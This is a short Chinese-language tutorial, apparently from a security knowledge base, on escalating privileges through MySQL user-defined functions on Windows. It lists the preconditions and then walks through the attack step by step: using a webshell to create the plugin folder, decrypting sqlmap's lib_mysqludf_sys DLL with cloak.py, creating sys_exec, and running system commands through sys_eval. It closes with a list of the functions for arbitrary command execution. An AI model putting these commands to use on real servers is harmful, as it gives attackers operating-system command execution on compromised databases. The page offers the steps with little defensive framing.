sqlmap udf提权过程

0x01 UDF

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

0x02 windows下udf提权的条件

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/ 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。 拥有可以将udf.dll写入相应目录的权限。

0x03 提权方法

如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。

/*

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

*/

首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

解密之后会在当前目录下生成dll文件。

将dll文件复制到mysql的/lib/plugin目录下,执行

create function sys_exec returns string soname "lib_mysqludf_sys.dll";

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

执行命令:

select sys_eval(‘whoami’);
/*

函数介绍:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

*/
零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2019-11-05 01:45:02

results matching ""

    No results matching ""